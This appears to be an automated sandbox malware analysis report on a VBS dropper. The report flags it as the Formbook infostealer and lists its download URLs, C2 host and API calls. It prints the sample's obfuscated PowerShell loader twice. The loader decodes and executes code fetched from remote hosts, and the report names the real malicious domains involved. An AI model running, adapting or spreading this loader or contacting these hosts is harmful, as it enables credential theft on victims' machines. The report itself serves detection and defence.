Windows Analysis Report
6 654398.vbs

AI detected suspicious sample

Source: Yara match	File source: 0000000C.00000002.3468115562.00000000033D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3466570701.0000000002EC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3467347887.0000000000E80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3467940169.00000000033A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3468043368.0000000003380000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3185715994.0000000021E50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3186142733.0000000022E10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: unknown	HTTPS traffic detected: 199.103.62.205:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.103.62.205:443 -> 192.168.2.5:49988 version: TLS 1.2

Source:	Binary string: ystem.Core.pdb7y~X source: powershell.exe, 00000006.00000002.2657649363.000000000769A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5A source: powershell.exe, 00000006.00000002.2657649363.00000000075E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: GJFjqeGumqI.exe, 0000000B.00000002.3467099503.0000000000C0E000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: cmdkey.pdbGCTL source: msiexec.exe, 0000000A.00000003.3126312023.0000000000ADD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.3126442250.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp, GJFjqeGumqI.exe, 0000000B.00000002.3467221616.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: msiexec.exe, 0000000A.00000003.3061903558.0000000021F0C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000002.3185756422.000000002225E000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000002.3185756422.00000000220C0000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.3059333142.0000000021D5C000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000002.3468299948.000000000376E000.00000040.00001000.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000003.3168090406.000000000326A000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000003.3170420691.000000000341E000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000002.3468299948.00000000035D0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: msiexec.exe, msiexec.exe, 0000000A.00000003.3061903558.0000000021F0C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000002.3185756422.000000002225E000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000002.3185756422.00000000220C0000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.3059333142.0000000021D5C000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000002.3468299948.000000000376E000.00000040.00001000.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000003.3168090406.000000000326A000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000003.3170420691.000000000341E000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000002.3468299948.00000000035D0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.2665678628.0000000008710000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cmdkey.pdb source: msiexec.exe, 0000000A.00000003.3126312023.0000000000ADD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.3126442250.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp, GJFjqeGumqI.exe, 0000000B.00000002.3467221616.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\PING.EXE ping gormezl_6777.6777.6777.677e

Source: Joe Sandbox View	IP Address: 199.103.62.205 199.103.62.205
Source: Joe Sandbox View	IP Address: 199.59.243.227 199.59.243.227

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49988 -> 199.103.62.205:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Koalitioner.prx HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: www.groupriam.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zkwqTJp58.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: www.groupriam.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /enra/?mxv=bBN4&XFtPf6=EuJScojaXV9tkcwLe9A6ZNdie4KkCxAOd2jPPlI8uN15nuMsourZ6RcE0C5sWIKd2oJ0ti0mlaCO+WC8VNvzR3lGN8BbnO4B13xmkasr+DtvmANIh/JvA8i/3xstHKmsaw== HTTP/1.1Host: www.foundation-repair.bizAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>

Source: global traffic	DNS traffic detected: DNS query: gormezl_6777.6777.6777.677e
Source: global traffic	DNS traffic detected: DNS query: www.groupriam.com
Source: global traffic	DNS traffic detected: DNS query: www.foundation-repair.biz

Source: powershell.exe, 00000006.00000002.2657649363.00000000075B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microR
Source: wscript.exe, 00000000.00000003.2196983936.000001B0BCAF0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2198619389.000001B0BCAFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabme
Source: wscript.exe, 00000000.00000003.2196983936.000001B0BCAF0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2198619389.000001B0BCAFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enlV
Source: powershell.exe, 00000004.00000002.2329009817.0000019E28C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://groupriam.com
Source: powershell.exe, 00000004.00000002.2374208348.0000019E36F60000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2640784157.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.2624423621.0000000004D17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.2329009817.0000019E26EF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2624423621.0000000004BC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.2624423621.0000000004D17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.2329009817.0000019E28C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.groupriam.com
Source: cmdkey.exe, 0000000C.00000002.3470610274.0000000008078000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000004.00000002.2329009817.0000019E26EF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000006.00000002.2624423621.0000000004BC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000004.00000002.2329009817.0000019E27116000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2329009817.0000019E28408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2624423621.0000000004D17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bruta.pl/Koalitioner.prx
Source: cmdkey.exe, 0000000C.00000002.3470610274.0000000008078000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: cmdkey.exe, 0000000C.00000002.3470610274.0000000008078000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: cmdkey.exe, 0000000C.00000002.3470610274.0000000008078000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000006.00000002.2640784157.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.2640784157.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.2640784157.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: cmdkey.exe, 0000000C.00000002.3470610274.0000000008078000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: cmdkey.exe, 0000000C.00000002.3470610274.0000000008078000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: cmdkey.exe, 0000000C.00000002.3470610274.0000000008078000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000006.00000002.2624423621.0000000004D17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.2329009817.0000019E28408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: cmdkey.exe, 0000000C.00000002.3466952802.00000000031A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: cmdkey.exe, 0000000C.00000002.3466952802.000000000317F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: cmdkey.exe, 0000000C.00000002.3466952802.000000000317F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: cmdkey.exe, 0000000C.00000003.3349544046.0000000007F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: powershell.exe, 00000004.00000002.2374208348.0000019E36F60000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2640784157.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.2329009817.0000019E27116000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2329009817.0000019E28408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2624423621.0000000004D17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://promenter.rs/Koalitioner.prx
Source: cmdkey.exe, 0000000C.00000002.3470610274.0000000008078000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: cmdkey.exe, 0000000C.00000002.3468867917.0000000003FE4000.00000004.10000000.00040000.00000000.sdmp, cmdkey.exe, 0000000C.00000002.3470326587.00000000064E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000004.00000002.2329009817.0000019E27116000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2329009817.0000019E28408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.groupriam.com
Source: msiexec.exe, 0000000A.00000002.3167698072.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.groupriam.com/$_Q
Source: powershell.exe, 00000004.00000002.2329009817.0000019E27116000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2329009817.0000019E28408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2624423621.0000000004D17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.groupriam.com/Koalitioner.prx
Source: msiexec.exe, 0000000A.00000002.3167698072.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.groupriam.com/L_y
Source: msiexec.exe, 0000000A.00000002.3167698072.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000002.3171643157.00000000067E0000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.3126476457.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000002.3167761730.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.groupriam.com/zkwqTJp58.bin
Source: msiexec.exe, 0000000A.00000003.3126476457.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000002.3167761730.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.groupriam.com/zkwqTJp58.bin3
Source: msiexec.exe, 0000000A.00000002.3167698072.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.groupriam.com/zkwqTJp58.binT
Source: msiexec.exe, 0000000A.00000002.3171643157.00000000067E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.groupriam.com/zkwqTJp58.binUnwesJaebruta.pl/zkwqTJp58.binKrlgsBrdpromenter.rs/zkwqTJp58.
Source: msiexec.exe, 0000000A.00000002.3167698072.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.groupriam.com/zkwqTJp58.binZ

Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988

Source: unknown	HTTPS traffic detected: 199.103.62.205:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.103.62.205:443 -> 192.168.2.5:49988 version: TLS 1.2

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 0000000C.00000002.3468115562.00000000033D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3466570701.0000000002EC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3467347887.0000000000E80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3467940169.00000000033A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3468043368.0000000003380000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3185715994.0000000021E50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3186142733.0000000022E10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: amsi32_6656.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 0000000C.00000002.3468115562.00000000033D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3466570701.0000000002EC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000D.00000002.3467347887.0000000000E80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.3467940169.00000000033A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3468043368.0000000003380000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.3185715994.0000000021E50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.3186142733.0000000022E10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: powershell.exe PID: 7156, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6656, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}			Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Versfods Pudser Ringmrknings Gonitis Recuperability Saggio Doceret #>;$Homoplasy='Stenkulsnaftas';<#Rejicer Amanuensiser Manticory #>;$Feminisere=$Oversalts+$host.UI; function Naturvrdi($unmannerliness){If ($Feminisere) {$varens++;}$Uenigst=$Etymologiserendes+$unmannerliness.'Length'-$varens; for( $Erhold=4;$Erhold -lt $Uenigst;$Erhold+=5){$Generationsprojekters=$Erhold;$Lucuma+=$unmannerliness[$Erhold];$Bergensisk='Costively';}$Lucuma;}function Furnage($Lokummet){ & ($Brneballet) ($Lokummet);}$Prereceived=Naturvrdi 'MaliM atio Hi,zSp.liFibrlBagmlTilkaExte/Rytt ';$Prereceived+=Naturvrdi ' Kyl5R,ek.Bran0neut Fo b(bereWAfm i QuanFl.ld BrsoEstawUnlusC ch AppeNSpheT et Howd1Enek0Him .Flle0 tje;Repr Oxy WC diiSkadnBesk6Abor4Call;Fors FastxStem6gav.4Phan;St.u Prodr KiovGdni: Ben1Grun3V sp1Su t.Land0St r)M,sc SupeGHandeCatac.uffkR cho Vau/Su c2 Car0 amp1Posi0Zirk0reg.1Fist0D ba1Vide F.anFSurviSengrMa,keRutef edeoEscaxLe b/Tild1incu3Para1Inde.Tryp0Brod ';$Teosofis=Naturvrdi 'M.deuSchnsMicrEbeboRSprn-TillaSandG hagE S.eNOpgatWaba ';$Soybean=Naturvrdi 'Reveh Fort.quat.usqpKultsPros:Pref/ Ko./UndewKat.wJazzw Uda.Sh,pgVermrP euoStoeuUdenpTh,or ambi S ea BrumPsyc.Ud ycPaapoPatemCopr/Fit.K P roiri,a ReplAfhji emtFeasiTermougr nLkkeeProprcyst.ComppUnsorBerrxId n>ArabhEmbltSarotKommp frssanti: Ent/Pu s/kalabS virDetau emtMo.sa.ent. iscp OlilMode/Be eKLeptoTe aaKruslcur.iFetct,araiEteroPourn OkkeCha rSi,h.CocrpSprkrtankx Mer>behnhlagdtRevatprofpSludsReso:Brug/Prop/ GeopOptar UndoPrepmTaviePrecnOps,t Lr eBerer dob.Actir IvesHaug/IrreKKineoPneua failTri,i RhatAnkei AveoSlatnveroeFeudrVeli.Sammpdownr .eixSnke ';$Knulling=Naturvrdi 'Geom>Bagg ';$Brneballet=Naturvrdi 'Hun iIncoeFri X Svu ';$Deposito='Kalkudsivning';$Mantelet70='\spgelseshistories.Hov';Furnage (Naturvrdi 'Wo l$ RecgR maLsab OHersBParaAHelll Ind:LotaPSpisR AutEOpskd ,irIOvercFrs,AplanBMainlFiskePres=Trai$ FrieLat nBrunVDumb:Ban a Bo pHelmpPr dDi aiA.ntrtTor A.arr+Cloa$dioxmMechADiviNUdd Ttr,ne dlglOptiEDybstR ne7Lnko0Tegn ');Furnage (Naturvrdi 'Smas$PercGO erLSau OElanBHjemAT apLSkyg:Advio Oksp No.tHydrRUnfevU unL cceUdsvt Opp2E cr2Fors7Laud= H.r$ruelsI dvoOverYSoldBKorsEPunca prkN Abl.RvenStlpeptypolBetoIForetPaaf(,ekn$Unq kPutrnKittu klaLNondl.nami.oncnFibrG Vid)El e ');Furnage (Naturvrdi 'Stan[ CorNI che,angtOv r.TestSKo te ApprOm gV ridiAppecKrnieE tepBesgoAkmui Batn MiltUkrlM bacaSlannOphoaPolyG GkkeColpRHydr] ood:V gr: Ba SHogtEGramCSo oU,avnr.resiUndeTSympyYumaPI,terSkriO .agtSkreoU tac foroHammlPa.v Asc=Oplg Voic[SwilN.ilbePenkt in .Jap,S NuleImdeC dpaUUrsirUnfaiMissTDoo yInfiP T.ert ndOUndeT m,roCrazc K.lOCounLMou TReneYRuswP,ddeE yn]Neur:John:PaattPlumLR,acsEfte1Inte2F.os ');$Soybean=$Optrvlet227[0];$Afbrnde=(Naturvrdi 'Frek$ Un gUr nl BaloTetoBLimnASkolLEcze: .hikHeteaAwaksEnwik ForEBrutLPhonoKenit NegTAfb,eEarlrR.teNFor,EStubSReko=taenn Ceme Te WPart-Ve.dO
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Versfods Pudser Ringmrknings Gonitis Recuperability Saggio Doceret #>;$Homoplasy='Stenkulsnaftas';<#Rejicer Amanuensiser Manticory #>;$Feminisere=$Oversalts+$host.UI; function Naturvrdi($unmannerliness){If ($Feminisere) {$varens++;}$Uenigst=$Etymologiserendes+$unmannerliness.'Length'-$varens; for( $Erhold=4;$Erhold -lt $Uenigst;$Erhold+=5){$Generationsprojekters=$Erhold;$Lucuma+=$unmannerliness[$Erhold];$Bergensisk='Costively';}$Lucuma;}function Furnage($Lokummet){ & ($Brneballet) ($Lokummet);}$Prereceived=Naturvrdi 'MaliM atio Hi,zSp.liFibrlBagmlTilkaExte/Rytt ';$Prereceived+=Naturvrdi ' Kyl5R,ek.Bran0neut Fo b(bereWAfm i QuanFl.ld BrsoEstawUnlusC ch AppeNSpheT et Howd1Enek0Him .Flle0 tje;Repr Oxy WC diiSkadnBesk6Abor4Call;Fors FastxStem6gav.4Phan;St.u Prodr KiovGdni: Ben1Grun3V sp1Su t.Land0St r)M,sc SupeGHandeCatac.uffkR cho Vau/Su c2 Car0 amp1Posi0Zirk0reg.1Fist0D ba1Vide F.anFSurviSengrMa,keRutef edeoEscaxLe b/Tild1incu3Para1Inde.Tryp0Brod ';$Teosofis=Naturvrdi 'M.deuSchnsMicrEbeboRSprn-TillaSandG hagE S.eNOpgatWaba ';$Soybean=Naturvrdi 'Reveh Fort.quat.usqpKultsPros:Pref/ Ko./UndewKat.wJazzw Uda.Sh,pgVermrP euoStoeuUdenpTh,or ambi S ea BrumPsyc.Ud ycPaapoPatemCopr/Fit.K P roiri,a ReplAfhji emtFeasiTermougr nLkkeeProprcyst.ComppUnsorBerrxId n>ArabhEmbltSarotKommp frssanti: Ent/Pu s/kalabS virDetau emtMo.sa.ent. iscp OlilMode/Be eKLeptoTe aaKruslcur.iFetct,araiEteroPourn OkkeCha rSi,h.CocrpSprkrtankx Mer>behnhlagdtRevatprofpSludsReso:Brug/Prop/ GeopOptar UndoPrepmTaviePrecnOps,t Lr eBerer dob.Actir IvesHaug/IrreKKineoPneua failTri,i RhatAnkei AveoSlatnveroeFeudrVeli.Sammpdownr .eixSnke ';$Knulling=Naturvrdi 'Geom>Bagg ';$Brneballet=Naturvrdi 'Hun iIncoeFri X Svu ';$Deposito='Kalkudsivning';$Mantelet70='\spgelseshistories.Hov';Furnage (Naturvrdi 'Wo l$ RecgR maLsab OHersBParaAHelll Ind:LotaPSpisR AutEOpskd ,irIOvercFrs,AplanBMainlFiskePres=Trai$ FrieLat nBrunVDumb:Ban a Bo pHelmpPr dDi aiA.ntrtTor A.arr+Cloa$dioxmMechADiviNUdd Ttr,ne dlglOptiEDybstR ne7Lnko0Tegn ');Furnage (Naturvrdi 'Smas$PercGO erLSau OElanBHjemAT apLSkyg:Advio Oksp No.tHydrRUnfevU unL cceUdsvt Opp2E cr2Fors7Laud= H.r$ruelsI dvoOverYSoldBKorsEPunca prkN Abl.RvenStlpeptypolBetoIForetPaaf(,ekn$Unq kPutrnKittu klaLNondl.nami.oncnFibrG Vid)El e ');Furnage (Naturvrdi 'Stan[ CorNI che,angtOv r.TestSKo te ApprOm gV ridiAppecKrnieE tepBesgoAkmui Batn MiltUkrlM bacaSlannOphoaPolyG GkkeColpRHydr] ood:V gr: Ba SHogtEGramCSo oU,avnr.resiUndeTSympyYumaPI,terSkriO .agtSkreoU tac foroHammlPa.v Asc=Oplg Voic[SwilN.ilbePenkt in .Jap,S NuleImdeC dpaUUrsirUnfaiMissTDoo yInfiP T.ert ndOUndeT m,roCrazc K.lOCounLMou TReneYRuswP,ddeE yn]Neur:John:PaattPlumLR,acsEfte1Inte2F.os ');$Soybean=$Optrvlet227[0];$Afbrnde=(Naturvrdi 'Frek$ Un gUr nl BaloTetoBLimnASkolLEcze: .hikHeteaAwaksEnwik ForEBrutLPhonoKenit NegTAfb,eEarlrR.teNFor,EStubSReko=taenn Ceme Te WPart-Ve.dO			Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221335C0 NtCreateMutant,LdrInitializeThunk,	10_2_221335C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132C70 NtFreeVirtualMemory,LdrInitializeThunk,	10_2_22132C70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22134340 NtSetContextThread,	10_2_22134340
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22133010 NtOpenDirectoryObject,	10_2_22133010
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22133090 NtSetValueKey,	10_2_22133090
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22134650 NtSuspendThread,	10_2_22134650
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132AB0 NtWaitForSingleObject,	10_2_22132AB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132AD0 NtReadFile,	10_2_22132AD0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132AF0 NtWriteFile,	10_2_22132AF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132B60 NtClose,	10_2_22132B60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132B80 NtQueryInformationFile,	10_2_22132B80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132BA0 NtEnumerateValueKey,	10_2_22132BA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132BF0 NtAllocateVirtualMemory,	10_2_22132BF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132BE0 NtQueryValueKey,	10_2_22132BE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221339B0 NtGetContextThread,	10_2_221339B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132E30 NtWriteVirtualMemory,	10_2_22132E30
